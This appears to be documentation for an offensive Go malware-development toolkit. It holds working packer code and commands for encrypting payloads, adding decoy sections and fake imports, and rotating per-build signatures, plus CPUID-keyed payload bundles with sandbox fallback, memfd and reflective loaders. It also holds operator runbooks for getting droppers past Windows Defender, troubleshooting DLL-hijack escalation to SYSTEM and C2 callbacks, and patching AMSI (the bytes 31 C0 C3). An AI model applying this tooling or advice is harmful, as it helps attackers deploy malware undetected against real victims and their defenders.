Code
package main
import (
"fmt"
"os"
"time"
"github.com/oioio-space/maldev/pe/packer"
)
func main() {
if len(os.Args) != 3 {
fmt.Println("usage: packer-example <input> <output>")
os.Exit(2)
}
payload, err := os.ReadFile(os.Args[1])
if err != nil {
fmt.Printf("read input: %v\n", err)
os.Exit(1)
}
// 1. UPX-style transform — encrypt .text, embed stub, rewrite OEP.
// Format auto-detection is left to the operator: pick PE for
// Windows targets, ELF for Linux. Stage1Rounds=3 is the
// ship-tested baseline (more rounds = larger stub + slower
// decrypt; few enough rounds to keep the stub under 4 KiB).
format := packer.FormatLinuxELF
if isPE(payload) {
format = packer.FormatWindowsExe
}
packed, _, err := packer.PackBinary(payload, packer.PackBinaryOptions{
Format: format,
Stage1Rounds: 3,
Seed: time.Now().UnixNano(),
})
if err != nil {
fmt.Printf("PackBinary: %v\n", err)
os.Exit(1)
}
// 2. Cover layer — three junk sections at randomized names +
// mixed entropy fills. v0.62.0 lifted the Go static-PIE
// limitation: ApplyDefaultCover now succeeds for ELF inputs
// by relocating the PHT to file-end when no in-place slack
// exists. The graceful-degrade fallback handles any
// unexpected edge-cases.
out := packed
if covered, err := packer.ApplyDefaultCover(packed, time.Now().UnixNano()); err == nil {
out = covered
} else {
fmt.Printf("(skipping cover layer: %v)\n", err)
}
if err := os.WriteFile(os.Args[2], out, 0o755); err != nil {
fmt.Printf("write output: %v\n", err)
os.Exit(1)
}
fmt.Printf("wrote %d bytes to %s\n", len(out), os.Args[2])
}
func isPE(b []byte) bool {
return len(b) >= 2 && b[0] == 'M' && b[1] == 'Z'
}
Run it
# Build the example.
go build -o /tmp/packer-example ./examples/upx-style-packer
# Pack a Go static-PIE ELF.
go build -buildmode=pie -o /tmp/hello hello/main.go
/tmp/packer-example /tmp/hello /tmp/hello.packed
chmod +x /tmp/hello.packed
/tmp/hello.packed # runs as if unpacked
Verify
# Sections / segments grew.
readelf -lW /tmp/hello.packed | grep -c LOAD # > original
# .text bytes are no longer plaintext.
xxd /tmp/hello.packed | head -200 # no Go strings
# But the binary still runs to clean exit.
echo $? # 0
Multi-seed correctness
v0.61.1 fixed a register-clobber bug that made PackBinary
silently produce non-runnable binaries for ~85% of seeds (only
Seed: 1 and Seed: 2 happened to dodge it). The root cause:
the per-round register allocator was allowed to pick R15,
which the CALL+POP+ADD prologue uses to carry the runtime
.text address. When a round took R15 as its key/counter
register, that address was clobbered and the decoder loop
dereferenced the encryption key as a pointer. Multi-seed E2E
test (TestPackBinary_LinuxELF_MultiSeed) packs and runs eight
seeds end-to-end on every push.
If you observe a clean exit with Seed: 1 but a SIGSEGV with
time.Now().UnixNano(), you are running pre-v0.61.1 — upgrade.
Hardening dials
Three swap-points the operator can flip without re-architecting:
| Knob | Default | Tighten with |
|---|---|---|
| Per-build determinism | time.Now().UnixNano() seed | Hard-code a seed for reproducible packed output (CI builds, hash-based release artifacts) |
| Cover entropy profile | mixed Random/Pattern/Zero | Author your own CoverOptions with all-JunkFillPattern for a flat-entropy histogram, or all-JunkFillRandom to overwhelm % thresholds |
| Stub round count | 3 | 5–7 rounds for stronger polymorphism (each round randomizes substitution + register choice) at the cost of stub size |
Limitations
Honest reading of where this technique stops working:
- OEP must lie inside
.text. Custom-linker outputs that start in another section returnErrOEPOutsideText. Most Go / C / Rust toolchains comply. - TLS callbacks reject. The transform refuses inputs with a populated TLS Data Directory because TLS callbacks run before OEP and would touch encrypted bytes.
- ELF cover layer PHT-slack constraint lifted (v0.62.0). Go
static-PIE binaries (first PT_LOAD at file offset 0) previously
caused
AddCoverELF/ApplyDefaultCoverto returnErrCoverSectionTableFull. The cover layer now relocates the PHT to file-end; the packed binary still runs to clean exit. - UPX-like single-binary signature. The CALL+POP+ADD prologue + small entry-rewriting stub matches a well-known shape. Detection-engineering signal: medium-high. Per-build variance comes from the SGN engine (substitution + register + junk insertion), but the structural shape is constant.
- Fake imports shipped (v0.63.0).
ApplyDefaultCovernow chainsAddFakeImportsPEfor PE32+ inputs, adding kernel32/user32/shell32/ole32IMAGE_IMPORT_DESCRIPTORentries. A static analyzer walkingDataDirectory[1]sees the full merged import table including the fakes.
See also
pe/packertech md — full API Reference forPackBinary,AddCoverPE/ELF,DefaultCoverOptions,ApplyDefaultCover..dev/refactor-2026/packer-design.md(internal:.dev/packer-design.md) — three-phase design rationale + capability matrix..dev/refactor-2026/KNOWN-ISSUES-1e.md(internal:.dev/KNOWN-ISSUES-1e.md) — v0.59.0 / v0.60.0 architectural gap post-mortem.- Phase 1f reflective loader —
alternate operator path that DOES use
pe/packer/runtimefor in-process reflective load (separate from this example's kernel-loaded UPX-style flow). See theruntime.LoadPErow in the TL;DR table.
Worked example — multi-target bundle (C6)
Goal
Ship one binary that carries N independent payloads, each matched against a target environment by CPUID vendor + Windows build number. At run time, only the payload matching the host gets decrypted; the others remain as opaque XOR-encrypted blobs in memory and on disk.
This is the v0.67.0-alpha.1 ship of pe/packer.PackBinaryBundle
(spec §3 wire format) plus the host-side selection oracle
pe/packer.SelectPayload and the operator CLI's new
packer bundle subcommand. The runtime stub-side fingerprint
evaluator (asm CPUID/PEB read + decryption) is queued for C6-P3
and C6-P4; until it ships, the bundle is a build-host artefact
you can author, inspect, and sanity-check today.
Threat model recap
What the bundle achieves now (P1-P2 shipped):
- A defender who captures the on-disk binary sees N encrypted blobs separated by a small plaintext header + fingerprint table. The fingerprint table reveals only environmental constraints ("payload 0 wants Intel + build ≥ 22000") — never plaintext, OEP, or imports.
- The blast radius of one extracted payload is limited: each payload has its own random 16-byte XOR key, so a signature derived from one variant does NOT match the others.
What you still need C6-P3+P4 for:
- The runtime stub that walks the table and picks the right payload. Until that lands, you ship the bundle blob alone (no PE/ELF wrapper) and the target needs an external loader.
Step 1 — Build per-target payloads
Compile one binary per target environment. The bundle is container-agnostic; raw bytes go in.
# Three flavours of the same payload, each tuned for one target.
GOOS=linux GOARCH=amd64 go build -o /tmp/payload-w11.bin ./cmd/agent # Intel + Win11
GOOS=linux GOARCH=amd64 go build -o /tmp/payload-w10.bin ./cmd/agent # AMD + Win10
GOOS=linux GOARCH=amd64 go build -o /tmp/payload-fallback ./cmd/agent # catch-all
Step 2 — Pack the bundle (CLI)
packer bundle \
-out /tmp/bundle.bin \
-pl /tmp/payload-w11.bin:intel:22000-99999 \
-pl /tmp/payload-w10.bin:amd:10000-19999 \
-pl /tmp/payload-fallback:*:*-* \
-fallback exit
Spec syntax: <file>:<vendor>:<min>-<max> where vendor ∈
{intel | amd | *} and min/max is the inclusive Windows
build-number range (* on either side = "no bound"). The
-fallback flag controls what the runtime stub does when no
predicate matches — exit (silent, default), crash
(deliberate fault), or first (always pick payload 0).
Step 3 — Verify the layout
$ packer bundle -inspect /tmp/bundle.bin
bundle /tmp/bundle.bin — 1234567 bytes
magic=0x56444c4d version=0x1 count=3 fb=0
fpTable=0x20 plTable=0xb0 data=0x110
[0] pred=0x03 vendor=GenuineIntel build=[22000, 99999] data=0x110..+412160
[1] pred=0x03 vendor=AuthenticAMD build=[10000, 19999] data=0x64710..+411904
[2] pred=0x08 vendor=* build=[0, 0] data=0xc7da0..+411520
Magic 0x56444c4d = "MLDV" (little-endian). pred=0x03 =
PT_CPUID_VENDOR | PT_WIN_BUILD (both checks AND-combined);
pred=0x08 = PT_MATCH_ALL (catch-all).
Step 4 — Build-host preview (Go API)
Operators can preview which payload would fire on a given
target without running the binary, using SelectPayload:
package main
import (
"fmt"
"log"
"os"
"github.com/oioio-space/maldev/pe/packer"
)
func main() {
bundle, err := os.ReadFile("/tmp/bundle.bin")
if err != nil { log.Fatal(err) }
// Simulate target 1: Intel + Windows 11 23H2.
intel := [12]byte{'G','e','n','u','i','n','e','I','n','t','e','l'}
if idx, _ := packer.SelectPayload(bundle, intel, 22631); idx >= 0 {
fmt.Printf("Intel/W11 → payload %d\n", idx)
}
// Simulate target 2: AMD + Windows 10 21H2.
amd := [12]byte{'A','u','t','h','e','n','t','i','c','A','M','D'}
if idx, _ := packer.SelectPayload(bundle, amd, 19041); idx >= 0 {
fmt.Printf("AMD/W10 → payload %d\n", idx)
}
// Simulate target 3: unknown vendor (sandbox?). Falls to PTMatchAll.
unknown := [12]byte{'B','o','c','h','s','C','P','U','i','d','x','5'}
if idx, _ := packer.SelectPayload(bundle, unknown, 9600); idx >= 0 {
fmt.Printf("unknown → payload %d (catch-all)\n", idx)
}
}
Output:
Intel/W11 → payload 0
AMD/W10 → payload 1
unknown → payload 2 (catch-all)
If you remove the catch-all entry and re-pack, the unknown
target returns idx == -1 — the runtime stub will fall back to
the configured -fallback behaviour (clean exit, by default).
Step 5 — Dry-run on the current host (CLI / Go API)
v0.67.0-alpha.2 ships packer.MatchBundleHost — reads the
host's CPUID vendor (via the same asm EmitCPUIDVendorRead the
runtime stub uses) plus, on Windows, the build number from
RtlGetVersion, and runs them through SelectPayload:
$ packer bundle -match payloads.bin
match index=0 host-vendor="GenuineIntel"
Or in Go:
idx, err := packer.MatchBundleHost(bundle)
if err != nil { log.Fatal(err) }
if idx < 0 {
log.Println("no payload matches this host — runtime stub will fall back")
} else {
log.Printf("payload %d will fire", idx)
}
This is the build-host preview of what the C6-P3 asm evaluator
will do at runtime. Same SelectPayload logic, same byte order,
same predicate semantics — useful for sanity-checking your
-pl specs against the operator's actual fleet.
packer.HostCPUIDVendor() is the lower-level primitive if you
just want the 12-byte vendor string without bundle context.
Step 6 — Wrap into a runnable executable (v0.67.0)
The bundle blob alone is not directly executable — it's just data.
Pair it with the cmd/bundle-launcher binary to ship a
single self-dispatching .exe:
# Build the launcher once (per OS/arch you target):
$ go build -o bundle-launcher ./cmd/bundle-launcher
# Wrap your bundle into the launcher:
$ packer bundle -wrap bundle-launcher -bundle payloads.bin -out app
bundle wrap: wrote 5 062 138 bytes (5 074 528 launcher + 287 bundle + 16-byte footer) to app
$ chmod +x app
# Ship app — it dispatches at runtime:
$ ./app
# exec's the matched payload via memfd_create + execve (Linux)
# or temp file + CreateProcess (Windows)
Or in Go via packer.AppendBundle:
launcher, _ := os.ReadFile("bundle-launcher")
wrapped := packer.AppendBundle(launcher, bundle)
os.WriteFile("app", wrapped, 0o755)
The launcher reads its own bytes at runtime via os.Executable(),
locates the embedded bundle by scanning back from the MLDV-END
footer (packer.ExtractBundle), runs MatchBundleHost,
decrypts only the matched payload, and execs it. No on-disk
plaintext on Linux (memfd_create-backed FD passed directly to
execve).
Step 6.5 — Per-build secret (Kerckhoffs, v0.73.0)
The default workflow above ships every wrapped binary with the same
canonical MLDV magic and MLDV-END footer — fine for tutorials,
not fine for operations. The -secret flag derives a unique 4-byte
BundleMagic + 8-byte footer pair via SHA-256 from any operator-
chosen string, so each deployment ships with its own IOC bytes.
SECRET="my-op-2026-05-09-cycleA"
# Pack with the secret.
packer bundle -out bundle.bin -secret "$SECRET" -pl ...
# Build the launcher with the matching ldflags injection.
go build -ldflags "-X main.bundleSecret=$SECRET" \
-o bundle-launcher ./cmd/bundle-launcher
# Wrap with the same secret. CLI prints the launcher build line as a hint.
packer bundle -wrap bundle-launcher -bundle bundle.bin \
-secret "$SECRET" -out app
Wire format stays public (anyone can read the spec). Only the 12 derived bytes are the per-deployment secret. Yara writers can spot "this is a maldev-style bundle" but cannot cluster individual operator builds without the secret in hand.
The full Kerckhoffs treatment lives in docs/techniques/pe/packer.md.
Step 7 — Decrypt one payload (build-host debugging)
UnpackBundle is the inverse of the encryption pass. Use it on
the build host to extract a specific payload for analysis or
sanity-check:
plaintext, err := packer.UnpackBundle(bundle, 0) // payload 0 (Intel/W11)
if err != nil { log.Fatal(err) }
os.WriteFile("/tmp/recovered-w11.bin", plaintext, 0o644)
The recovered bytes are byte-identical to the original
payload-w11.bin you fed into PackBinaryBundle.
NOT a runtime helper. The on-disk per-payload XOR key is trivially reversible once an attacker has the bundle blob. The runtime stub (C6-P3) re-derives the same key in asm after the fingerprint match — no plaintext key crosses the Go heap unless the predicate matched.
Programmatic equivalent (no CLI)
intel := [12]byte{'G','e','n','u','i','n','e','I','n','t','e','l'}
amd := [12]byte{'A','u','t','h','e','n','t','i','c','A','M','D'}
bundle, err := packer.PackBinaryBundle([]packer.BundlePayload{
{Binary: payloadW11, Fingerprint: packer.FingerprintPredicate{
PredicateType: packer.PTCPUIDVendor | packer.PTWinBuild,
VendorString: intel,
BuildMin: 22000, BuildMax: 99999,
}},
{Binary: payloadW10, Fingerprint: packer.FingerprintPredicate{
PredicateType: packer.PTCPUIDVendor | packer.PTWinBuild,
VendorString: amd,
BuildMin: 10000, BuildMax: 19999,
}},
{Binary: payloadFallback, Fingerprint: packer.FingerprintPredicate{
PredicateType: packer.PTMatchAll,
}},
}, packer.BundleOptions{FallbackBehaviour: packer.BundleFallbackExit})
Limitations (current shipping state)
- No runtime stub yet. The bundle is a flat blob; you can
inspect / decrypt it on the build host but not yet
execit directly. C6-P3 (asm fingerprint evaluator) and C6-P4 (PE/ELF wrapping with bundle entry-point) close this gap. - XOR-rolling cipher only. Per spec §9 Q8, the v1 wire format uses XOR with a 16-byte rolling key. A stronger design would derive the key from the fingerprint result so it never lives on disk; deferred to C6-phase-2.
- Plaintext fingerprint table. The predicates themselves reveal which environments are targets. Operators who want to hide that signal can pad with decoy entries that point to random-noise payloads.
- CPUID vendor + Windows build only. Spec §4 leaves room for
more predicate types (CPUID feature mask, RDTSC timing, …);
none are wired through
SelectPayloadyet beyond what the wire format allows.
See also
- Spec:
.dev/superpowers/specs/2026-05-08-packer-multi-target-bundle.md(internal:.dev/specs/2026-05-08-packer-multi-target-bundle.md) - Tech md:
docs/techniques/pe/packer.md - UPX-style single-payload variant:
docs/examples/upx-style-packer.md
Worked example — Packer Elevation Tour (v0.66 → v0.70)
What this is
A guided side-by-side tour of every packer mode the maldev project
ships, from the original v0.61 PE/ELF in-place transform to the
v0.69 318-byte all-asm bundle. Run the snippets against a single
toy payload (exit 42 shellcode) and watch the resulting binary
sizes and on-disk artefacts evolve.
Aimed at someone learning what these techniques actually cost and what they actually give.
The fixture: a 12-byte shellcode
Every variant below packs the same minimal Linux x86-64 shellcode:
xor edi, edi ; clear arg
mov dil, 42 ; arg = 42
mov eax, 60 ; sys_exit
syscall
12 bytes, calls _exit(42). Succeeding runs are visible by checking
$?.
Variant 1 — transform.BuildMinimalELF64 (raw)
Just wrap the shellcode in a kernel-loadable ELF, no packer logic.
out, _ := transform.BuildMinimalELF64(exit42Shellcode)
os.WriteFile("v1-raw", out, 0o755)
// 132 bytes — the canonical Brian-Raiter "tiny ELF" shape.
| Attribute | Value |
|---|---|
| Total size | 132 B |
| Stub asm | 0 (none) |
| Encryption | none |
| .text RWX | yes (single PT_LOAD) |
| Process tree | 1 binary |
| /proc/self/maps | one anonymous-ish PT_LOAD |
| Pedagogy | Brian Raiter (2002): the smallest legal ELF |
Variant 2 — WrapBundleAsExecutableLinux (all-asm)
bundle, _ := packer.PackBinaryBundle(
[]packer.BundlePayload{{
Binary: exit42Shellcode,
Fingerprint: packer.FingerprintPredicate{
PredicateType: packer.PTMatchAll,
},
}},
packer.BundleOptions{},
)
out, _ := packer.WrapBundleAsExecutableLinux(bundle)
os.WriteFile("v2-allasm", out, 0o755)
// v0.72.0: 441 bytes for 1-payload PTMatchAll, 548 bytes for a real
// 2-payload Intel-vs-AMD vendor-aware dispatch.
| Attribute | Value |
|---|---|
| Total size (1-payload) | 441 B |
| Total size (2-payload vendor-aware) | 548 B |
| Stub asm | 160 B hand-rolled (PIC + CPUID + scan loop + 12-B vendor compare + XOR-decrypt + JMP) |
| Encryption | XOR rolling 16-byte key |
| Predicate eval | PT_MATCH_ALL + PT_CPUID_VENDOR (with all-zero = wildcard) |
| .text RWX | yes (single PT_LOAD) |
| Process tree | 1 binary |
| /proc/self/maps | one PT_LOAD |
| Pedagogy | real multi-target asm dispatch |
The 548-byte 2-payload bundle breaks down as:
120 B ELF header + lone PT_LOAD Phdr
160 B stub asm (PIC + CPUID + scan loop + decrypt + jmp)
32 B BundleHeader
96 B 2 × FingerprintEntry (PTCPUIDVendor each)
64 B 2 × PayloadEntry (DataRVA + DataSize + 16-byte key)
~76 B encrypted payload data + small struct alignment
─────
~548 B
That's ~14× smaller than the 7.6 KiB minimum for a bare
gcc -static -no-pie hello-world, while doing real CPUID dispatch
across two target predicates. The trade-off: payload must be
position-independent shellcode (the stub jumps directly into it;
PE/ELF headers would crash).
Variant 3 — cmd/bundle-launcher + AppendBundle (Go runtime)
$ go build -o bundle-launcher ./cmd/bundle-launcher
$ packer bundle -wrap bundle-launcher -bundle v2-allasm-bundle-blob.bin -out v3-go
| Attribute | Value |
|---|---|
| Total size | ~5 MB (Go runtime baseline) |
| Stub | Go runtime — not asm |
| Encryption | XOR rolling 16-byte key |
| Predicate eval | full (CPUID + Win build + Negate) |
| Fallback modes | Exit / First / Crash |
| Process tree | 2 binaries (launcher → execve payload) |
| /proc/self/maps | shows /tmp/.../bundle-payload-* for the matched payload |
| Pedagogy | the operator-friendly path: full feature set, slow/loud |
Variant 4 — cmd/bundle-launcher reflective (MALDEV_REFLECTIVE=1)
$ MALDEV_REFLECTIVE=1 ./v3-go
Same 5 MB binary, different dispatch mode. The matched payload gets
mapped into the launcher's address space via pe/packer/runtime.Prepare
and entered on a fake kernel stack. No fork, no execve, no temp file.
| Attribute | Value |
|---|---|
| Total size | ~5 MB |
| Stub | Go runtime + asm trampoline |
| Predicate eval | full (CPUID + Win build + Negate) |
| Process tree | 1 binary (no execve) |
| /proc/self/maps | anonymous regions for the payload |
| Pedagogy | reflective loading done right — auxv patching, segment mapping, RELATIVE relocs |
Side-by-side at a glance
| Variant | Size | Stub | Predicate | Proc tree | Disk artefact |
|---|---|---|---|---|---|
| 1 — raw min-ELF | 132 B | none | none | 1 | none |
| 2 — all-asm bundle (1 entry) | 441 B | 160 B asm | PT_MATCH_ALL + PT_CPUID_VENDOR | 1 | none |
| 2 — all-asm bundle (2 entries, vendor) | 548 B | 160 B asm | PT_MATCH_ALL + PT_CPUID_VENDOR | 1 | none |
| 3 — Go launcher (default) | ~5 MB | Go | full (incl. PT_WIN_BUILD + Negate) | 2 | temp file |
| 4 — Go launcher reflective | ~5 MB | Go + asm | full | 1 | none |
Trade-off curve: variant 2 wins binary size and OPSEC at the cost of predicate evaluation; variant 4 wins everything except size; variant 3 is the most operator-friendly default.
Visualising
cmd/packer-vis (v0.70.0) renders both the entropy of any of these
binaries and the bundle wire format:
$ packer-vis entropy v1-raw # 132-byte file, all near-min entropy bins
$ packer-vis entropy v2-allasm # the encrypted 12-byte payload region
# shows up as a high-entropy ▆▇█ smear
$ packer-vis bundle bundle-blob.bin
bundle.bin
256 bytes | magic=0x56444c4d version=0x1 count=2 fallback=0
┌─ BundleHeader ─────────────────────────────────────┐
│ 0x00..0x20 magic + version + count + offsets │
│ fpTable=0x20 plTable=0x80 data=0xc0 │
└────────────────────────────────────────────────────┘
┌─ [0] FingerprintEntry @ 0x20 ────────────────────┐
│ predType=0x01 vendor="GenuineIntel" build=[22000, 99999] │
└────────────────────────────────────────────────────┘
...
Limitations recap
- Variant 2 (all-asm) selects payload 0 unconditionally today. The
full CPUID+PEB evaluator is queued (
EmitVendorCompareandEmitBuildRangeCheckprimitives are already in tree) — drops in without changingWrapBundleAsExecutableLinux's public signature. - Variant 2's payload must be raw position-independent shellcode. PE/ELF payloads need variant 3 or 4.
- Windows symmetry of the all-asm path (a
MinimalPE32Pluswriter- Windows fingerprint dispatch) is queued for a future minor.
See also
pe/packer.WrapBundleAsExecutableLinuxpe/packer/transform.BuildMinimalELF64cmd/bundle-launchercmd/packer-visPlan: packer elevation roadmap(internal:.dev/plans/2026-05-09-packer-elevation.md)
Runnable examples
Tutorial binaries under
examples/in the repo — each one builds a small chain ofmaldevpackages and demonstrates a single technique end-to-end. Cross-link the markdown pages in this section (docs/examples/*.md) with the binary you want to actually compile and run.
The full catalogue with one-line descriptions, technique mapping,
and a "What it demonstrates" column lives in the repo at
examples/README.md.
Naming convention
<domain>-<technique> to align with docs/techniques/<domain>/<technique>.md.
Operators reading the technique page in this handbook see a direct
pointer to the runnable companion.
Highlights
privesc-dll-hijack— full chain fromlowusershell toNT AUTHORITY\SYSTEMvia DLL hijack, with packer + AMSI bypass + preset.Aggressive evasion stack. Ships its own README walkthrough.packer-tour— every packer mode (Mode 1 EXE+SGN, Mode 6 shellcode-self-exec, Mode 7 DLL+SGN+LZ4, Mode 8 EXE→DLL convert, Mode 10 proxy DLL).syscall-matrix— same routine run throughwsyscall.MethodWinAPI,MethodNative,MethodDirect,MethodIndirect; useful as a base for measuring per-method telemetry.
Building
GOOS=windows GOARCH=amd64 go build -o /tmp/example.exe ./examples/<name>
Adding a new example
See the "Adding a new example" section in
examples/README.md.
Runbooks — when things go wrong
Difference from the Cookbook recipes: the Cookbook shows how to build; runbooks show what to do when something breaks in the field. They are diagnostic decision trees with concrete next steps, format inspired by SRE incident playbooks and Pagerduty runbooks.
Each runbook is structured: Symptom → Most likely causes → Step- by-step diagnostic → Mitigation. Skim the symptom, identify the cause, follow the steps.
When to read a runbook
You're mid-engagement (or mid-test) and something doesn't behave as the Cookbook said it would. The runbook is the page you wish you had during the incident — written by someone who already saw it.
Index
| Symptom | Runbook |
|---|---|
| Packed binary detected by Defender at write-to-disk | Defender catch on dropper |
LoadLibrary("hijackme.dll") succeeds but my payload didn't run | DLL hijack succeeded but silent |
amsi.PatchAll returns nil, AMSI still scans my Assembly.Load | AMSI re-armed mid-flight |
Conventions
Every runbook follows the same shape:
# <Symptom in operator's words>
## When you see this
Concrete observable signal that matches this runbook.
## Most likely causes (ranked)
1. Cause A — short explanation, % frequency from past incidents.
2. Cause B — …
## Diagnostic steps
Numbered, executable. Each step has a clear pass/fail next-pointer.
## Mitigation
The fix(es) ordered by cost (cheapest first).
## Prevention
How to avoid the same symptom in the next engagement.
Adding a runbook
- Write the symptom in operator's words first (this is the page title and what someone searching the docs at 2 AM will type).
- Capture concrete observable signals — log lines, error messages, defender events.
- Order causes by past-incident frequency, not theoretical likeliness.
- Each diagnostic step should have a
pass: … / fail: …pointer. - Cross-link the matching
docs/techniques/page for the deep technical explanation.
Defender catch on dropper
When you see this
You drop the packed binary on the target host and Windows Defender quarantines it within seconds, before any code runs. You see one of:
Trojan:Win32/Wacatac.B!ml(Defender ML signature — generic).Trojan:Win32/Meterpreter(your shellcode payload was sigged).- The file vanishes between
scpfinishing and your trigger. Get-MpThreatDetectionon the target lists the binary.
Most likely causes (ranked)
- String-based signature on the Go runtime (≈40%) — Go binaries
leak ~20 KB of pclntab + import strings even after packing if
you didn't run
garble/ strip first. - The packer's stub itself is now sigged (≈25%) — the SGN decoder body is small and has been seen in the wild long enough for ML models to learn it. Default stub is the baseline signal.
- Authenticode / cert mismatch (≈15%) — your packed binary claims a SECURITY directory pointing into garbage. Defender treats "signed-but-tampered" as a strong tell.
- Sandbox detonation (≈10%) — if Defender's cloud submitted the file, it might have run and observed the payload doing suspicious things. Mostly preventable by anti-sandbox checks.
- Network metadata (≈5%) — your C2 URL or shellcode hash is already in MS threat intel.
- Other (≈5%) — IOC the team carries from a previous engagement.
Diagnostic steps
- Strip the Go-ness first. Run
strings packed.exe | grep -ic go.- pass (< 50 hits): not the cause, go to step 2.
- fail (≥ 50): rebuild with
garble build(see opsec-build.md) and re-pack. Retry.
- Test on a Defender-only VM with cloud-protection off. Drop
the file. Wait 30 s.
- pass (not flagged): cause is cloud submission / behavioural, not on-disk signature. Go to step 4.
- fail (still flagged): it's an on-disk static signature. Go to step 3.
- Mutate the stub. Re-pack with
-randomize-stub-section-name(already default since v0.135.0 —KeepDefaultStubSectionName: false). Also try-compressto change the section-size signature.- pass: signature was on section names or size. Done.
- fail: signature is on the stub body itself. Go to step 5.
- Disable behavioural triggers in the payload. Comment out
the AMSI/ETW patches, re-pack, re-drop.
- pass (not flagged): cloud submitted and saw evasion calls. Hide them behind sleep or unhook first (sleep-mask).
- fail: it's not behavioural either.
- Mutate the SGN rounds. Default is 3 rounds. Try
-rounds 5or-rounds 1to see if the signature is keyed on the iteration count. - Last resort: cert preservation. Set
PreserveAuthenticodeDirectory: true— sometimes Defender weights "no cert" against the binary. (Counter-intuitive but measurable.) See pe/cert.
Mitigation
Ordered cheapest first:
garble build+strip Go pclntab(opsec-build).RandomizeAll: trueinPackBinaryOptions.- Donor-cert from a legitimate signed binary (masquerade).
- Switch to Mode 8 (EXE→DLL) +
rundll32invocation — different load path, different signatures. - Compose
unhook.CommonClassicBEFORE any AMSI/ETW patches — defeats Defender'samsi.dllhook scanner.
Prevention
- Run
clamscanandDefender on a clean VMBEFORE field-deploy. See opsec-build.md Quick Start. - Use
preset.Aggressivefor evasion stacking (preset). - Rotate seeds (
Seed: <random>) per engagement to keep hash-based signatures from matching.
Related
- Cookbook: UPX-style packer + cover.
- Technique: packer.md § Defender bypass section.
- Runbook: DLL hijack succeeded but silent.
DLL hijack succeeded but silent
When you see this
You planted hijackme.dll in the writable target directory, the
SYSTEM-context process (scheduled task / service) loaded it
successfully (you see the LoadLibrary in Procmon / ETW), but
your payload never wrote its marker file or never connected
back to C2. No crash, no Defender event, just silence.
Most likely causes (ranked)
- DllMain returned TRUE but the spawned OEP thread crashed silently (≈45%) — most common. The Go runtime aborts on init failure without exception bubbling to the host process.
- Marker write path requires permissions the SYSTEM context doesn't have (≈20%) — yes, SYSTEM can be denied (Mandatory Integrity Level mismatch on certain HKCU paths, or AppLocker block on the marker directory).
- DLL host (victim.exe) exits before the OEP thread flushes the marker (≈15%) — race we hit during 1.B.2 development; victim sleeps 5 s post-LoadLibrary to give the thread time.
- PEB.CommandLine patch corrupted host loader state (≈10%) — the symptom was the canonical 0x000C000B bug fixed in the label-collision ADR. Should be a non-issue post-v0.135.0.
- Defender silently terminated the spawned thread (≈10%) — no quarantine event, no logged catch, just thread death.
Diagnostic steps
- Add a stdout breadcrumb at the very first line of the OEP.
Open
examples/privesc-dll-hijack/probe/main.go, addfmt.Println("OEP reached")as line 2 ofmain(). Re-pack. Re-drop. Watch the victim's stdout (schtasks /Query /v→ note the action stdout path).- pass (you see "OEP reached"): step 2.
- fail: thread didn't reach OEP — cause is the spawn block itself. Check the RunWithArgs export godoc for the ERROR_INVALID_HANDLE diagnostic chain.
- Add a write to a writable-by-everyone path. Replace the
marker write with one to
C:\Users\Public\maldev-debug.txt.- pass (file appears): your marker dir wasn't writable.
Re-plant via
icacls C:\ProgramData\maldev-marker /grant Everyone:F. - fail (no file): host process is dying before flush. Step 3.
- pass (file appears): your marker dir wasn't writable.
Re-plant via
- Force the host to stay alive. Insert
time.Sleep(30 * time.Second)inexamples/privesc-dll-hijack/victim/victim.cright afterLoadLibrary. Recompile victim, re-deploy.- pass (marker shows up): race condition. Keep the sleep in prod or use the WaitForSingleObject pattern in RunWithArgs (see ADR-0001 caller pattern).
- fail: thread is being killed externally. Step 4.
- Check Defender's behavioural log. On the target:
Get-MpThreatDetection | Select Resources, InitialDetectionTimeandGet-WinEvent -LogName Microsoft-Windows-Windows Defender/Operational -MaxEvents 50.- pass (defender entry): you're being caught by behavioural analysis. Follow defender-catch.
- fail (nothing): step 5.
- Attach ProcMon (
procmon.exe) with filter on victim's PID. Look forThread Exitwith non-zero exit code.- non-zero exit: Go init failure. Compile probe with
GOOS=windows go build -gcflags="all=-N -l"for unstripped stack traces. - clean exit: marker dir was unwritable even though step 2 said writable. Re-check ACL.
- non-zero exit: Go init failure. Compile probe with
Mitigation
Ordered cheapest first:
- Verify the marker dir ACL grants Modify rights to the SYSTEM context (NOT just Read).
- Add 5-second victim sleep post-LoadLibrary (it's already the
examples/privesc-dll-hijack/victim/victim.cdefault since slice 9.8.a). - Pre-flush the probe's stdout buffer:
fmt.Printlnthenos.Stdout.Sync(). - Use Caller=MethodIndirect
to dodge Defender's
kernel32.LoadLibraryhook.
Prevention
- Always add an "I started" breadcrumb at the OEP that writes to a path outside your final marker dir. Two write sites = two diagnostic anchors.
- Use the
examples/privesc-dll-hijack/chain as a golden reference; deviate one thing at a time.
Related
- Cookbook: Full chain.
- Technique:
recon/dllhijack. - ADR: 0001 — wsyscall.Caller pattern.
AMSI re-armed mid-flight
When you see this
You called amsi.PatchAll(caller) at process start (it returned
nil), but a later Assembly.Load / PowerShell IEX still
triggers Defender on a payload that should now bypass AMSI. The
patch silently became ineffective.
Most likely causes (ranked)
amsi.dllwas re-mapped or reloaded after the patch (≈50%) —LoadLibrary("amsi.dll")post-patch can map a fresh copy if the original handle was closed; the new copy has unpatched bytes.- A new process inherited from the patched one (≈25%) —
AMSI patches are per-process, not per-token. Spawning
PowerShell via
CreateProcessgets a cleanamsi.dll. - Defender pushed a
WerFault.exe-style recovery (≈10%) — modern Defender can re-protect AMSI in monitored processes via a kernel callback writing back the original bytes. - Wrong process was patched (≈10%) — your evasion stack ran
in the launcher, but the
clr.LoadAndExecutespawned a child that did the loading. - AMSI provider chain has more than Defender (≈5%) — third-
party AV registered its own COM provider, untouched by your
AmsiScanBufferpatch.
Diagnostic steps
- Check the patched bytes are still in place. Read the first
3 bytes of
AmsiScanBufferand compare to31 C0 C3.addr, _ := windows.LoadLibrary("amsi.dll") proc, _ := windows.GetProcAddress(addr, "AmsiScanBuffer") var bytes [3]byte // ReadProcessMemory on own PID via wsyscall.Caller if bytes != [3]byte{0x31, 0xC0, 0xC3} { // re-arm detected }- bytes match: AMSI patch is intact; cause is elsewhere (probably step 4). Continue to step 4.
- bytes differ: AMSI was re-armed. Step 2.
- Check
amsi.dllbase address. Has it changed since the original patch? Capture base at patch time, compare now.- same base: the bytes were rewritten in place (Defender kernel-callback or anti-tamper). Mitigation: see step 6.
- different base: a fresh map happened. Patch again now and consider lazy re-patching on every COM call.
- Check for additional providers. Enumerate
